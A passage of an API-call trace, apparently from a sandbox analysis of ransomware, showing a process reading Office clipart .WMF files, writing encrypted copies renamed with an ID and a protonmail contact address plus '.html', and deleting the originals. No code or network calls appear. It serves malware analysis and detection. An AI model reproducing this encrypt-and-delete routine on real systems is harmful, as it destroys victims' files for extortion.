	[0192.419] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0192.419] lstrlenW (lpString=".pdf") returned 4
	[0192.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.419] lstrlenW (lpString=".xls") returned 4
	[0192.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.419] lstrlenW (lpString=".xlsx") returned 5
	[0192.419] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0192.419] lstrlenW (lpString=".ppt") returned 4
	[0192.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.420] lstrlenW (lpString=".zip") returned 4
	[0192.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.420] lstrlenW (lpString=".rar") returned 4
	[0192.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.420] lstrlenW (lpString=".bz2") returned 4
	[0192.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.420] lstrlenW (lpString=".7z") returned 3
	[0192.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.420] lstrlenW (lpString=".dbf") returned 4
	[0192.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.420] lstrlenW (lpString=".1cd") returned 4
	[0192.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.420] lstrlenW (lpString=".jpg") returned 4
	[0192.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.421] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0192.421] lstrlenW (lpString="J0105390.WMF") returned 12
	[0192.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0192.422] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4944) returned 1
	[0192.422] CloseHandle (hObject=0x478) returned 1
	[0192.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220
	[0192.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0192.423] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.424] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0192.425] GetLastError () returned 0x0
	[0192.425] ReadFile (in: hFile=0x478, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1350, lpOverlapped=0x0) returned 1
	[0192.427] WriteFile (in: hFile=0x5e0, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0192.429] ReadFile (in: hFile=0x478, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.429] WriteFile (in: hFile=0x5e0, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0192.429] SetEndOfFile (hFile=0x5e0) returned 1
	[0192.429] CloseHandle (hObject=0x5e0) returned 1
	[0192.430] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.430] SetEndOfFile (hFile=0x478) returned 1
	[0192.435] CloseHandle (hObject=0x478) returned 1
	[0192.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1
	[0192.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.437] lstrlenW (lpString=".doc") returned 4
	[0192.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.437] lstrlenW (lpString=".docx") returned 5
	[0192.437] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0192.437] lstrlenW (lpString=".pdf") returned 4
	[0192.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.437] lstrlenW (lpString=".xls") returned 4
	[0192.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.437] lstrlenW (lpString=".xlsx") returned 5
	[0192.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0192.437] lstrlenW (lpString=".ppt") returned 4
	[0192.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.437] lstrlenW (lpString=".zip") returned 4
	[0192.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.437] lstrlenW (lpString=".rar") returned 4
	[0192.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.437] lstrlenW (lpString=".bz2") returned 4
	[0192.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.437] lstrlenW (lpString=".7z") returned 3
	[0192.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.437] lstrlenW (lpString=".dbf") returned 4
	[0192.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.438] lstrlenW (lpString=".1cd") returned 4
	[0192.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.438] lstrlenW (lpString=".jpg") returned 4
	[0192.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.438] lstrlenW (lpString=".doc") returned 4
	[0192.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.438] lstrlenW (lpString=".docx") returned 5
	[0192.438] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0192.438] lstrlenW (lpString=".pdf") returned 4
	[0192.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.438] lstrlenW (lpString=".xls") returned 4
	[0192.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.438] lstrlenW (lpString=".xlsx") returned 5
	[0192.438] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0192.438] lstrlenW (lpString=".ppt") returned 4
	[0192.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.439] lstrlenW (lpString=".zip") returned 4
	[0192.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.439] lstrlenW (lpString=".rar") returned 4
	[0192.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.439] lstrlenW (lpString=".bz2") returned 4
	[0192.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.439] lstrlenW (lpString=".7z") returned 3
	[0192.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.439] lstrlenW (lpString=".dbf") returned 4
	[0192.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.439] lstrlenW (lpString=".1cd") returned 4
	[0192.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0192.439] lstrlenW (lpString=".jpg") returned 4
	[0192.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.440] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0192.440] lstrlenW (lpString="J0105396.WMF") returned 12
	[0192.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0192.441] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=11012) returned 1
	[0192.441] CloseHandle (hObject=0x478) returned 1
	[0192.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220
	[0192.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.293] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.293] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0193.295] GetLastError () returned 0x0
	[0193.295] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2b04, lpOverlapped=0x0) returned 1
	[0193.297] WriteFile (in: hFile=0x478, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2b10, lpOverlapped=0x0) returned 1
	[0193.298] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.298] WriteFile (in: hFile=0x478, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.298] SetEndOfFile (hFile=0x478) returned 1
	[0193.298] CloseHandle (hObject=0x478) returned 1
	[0193.298] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.298] SetEndOfFile (hFile=0x5c8) returned 1
	[0193.301] CloseHandle (hObject=0x5c8) returned 1
	[0193.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1
	[0193.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.304] lstrlenW (lpString=".doc") returned 4
	[0193.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString=".docx") returned 5
	[0193.304] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0193.304] lstrlenW (lpString=".pdf") returned 4
	[0193.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString=".xls") returned 4
	[0193.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.304] lstrlenW (lpString=".xlsx") returned 5
	[0193.305] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0193.305] lstrlenW (lpString=".ppt") returned 4
	[0193.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.305] lstrlenW (lpString=".zip") returned 4
	[0193.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.305] lstrlenW (lpString=".rar") returned 4
	[0193.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString=".bz2") returned 4
	[0193.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString=".7z") returned 3
	[0193.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.305] lstrlenW (lpString=".dbf") returned 4
	[0193.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.305] lstrlenW (lpString=".1cd") returned 4
	[0193.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.305] lstrlenW (lpString=".jpg") returned 4
	[0193.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.305] lstrlenW (lpString=".doc") returned 4
	[0193.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString=".docx") returned 5
	[0193.306] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0193.306] lstrlenW (lpString=".pdf") returned 4
	[0193.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.306] lstrlenW (lpString=".xls") returned 4
	[0193.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.306] lstrlenW (lpString=".xlsx") returned 5
	[0193.306] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0193.306] lstrlenW (lpString=".ppt") returned 4
	[0193.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.306] lstrlenW (lpString=".zip") returned 4
	[0193.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.306] lstrlenW (lpString=".rar") returned 4
	[0193.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.306] lstrlenW (lpString=".bz2") returned 4
	[0193.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.306] lstrlenW (lpString=".7z") returned 3
	[0193.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.306] lstrlenW (lpString=".dbf") returned 4
	[0193.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.306] lstrlenW (lpString=".1cd") returned 4
	[0193.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0193.306] lstrlenW (lpString=".jpg") returned 4
	[0193.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.307] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.307] lstrlenW (lpString="J0105490.WMF") returned 12
	[0193.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.308] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=18728) returned 1
	[0193.308] CloseHandle (hObject=0x5c8) returned 1
	[0193.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220
	[0193.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.309] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.309] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0193.310] GetLastError () returned 0x0
	[0193.310] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x4928, lpOverlapped=0x0) returned 1
	[0193.315] WriteFile (in: hFile=0x478, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x4930, lpOverlapped=0x0) returned 1
	[0193.316] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.316] WriteFile (in: hFile=0x478, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.316] SetEndOfFile (hFile=0x478) returned 1
	[0193.316] CloseHandle (hObject=0x478) returned 1
	[0193.316] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.317] SetEndOfFile (hFile=0x5c8) returned 1
	[0193.320] CloseHandle (hObject=0x5c8) returned 1
	[0193.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1
	[0193.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.322] lstrlenW (lpString=".doc") returned 4
	[0193.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.322] lstrlenW (lpString=".docx") returned 5
	[0193.322] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.322] lstrlenW (lpString=".pdf") returned 4
	[0193.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.322] lstrlenW (lpString=".xls") returned 4
	[0193.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.322] lstrlenW (lpString=".xlsx") returned 5
	[0193.322] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.323] lstrlenW (lpString=".ppt") returned 4
	[0193.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.323] lstrlenW (lpString=".zip") returned 4
	[0193.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.323] lstrlenW (lpString=".rar") returned 4
	[0193.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.323] lstrlenW (lpString=".bz2") returned 4
	[0193.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.323] lstrlenW (lpString=".7z") returned 3
	[0193.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.324] lstrlenW (lpString=".dbf") returned 4
	[0193.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.324] lstrlenW (lpString=".1cd") returned 4
	[0193.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.324] lstrlenW (lpString=".jpg") returned 4
	[0193.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.324] lstrlenW (lpString=".doc") returned 4
	[0193.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.324] lstrlenW (lpString=".docx") returned 5
	[0193.324] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.324] lstrlenW (lpString=".pdf") returned 4
	[0193.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
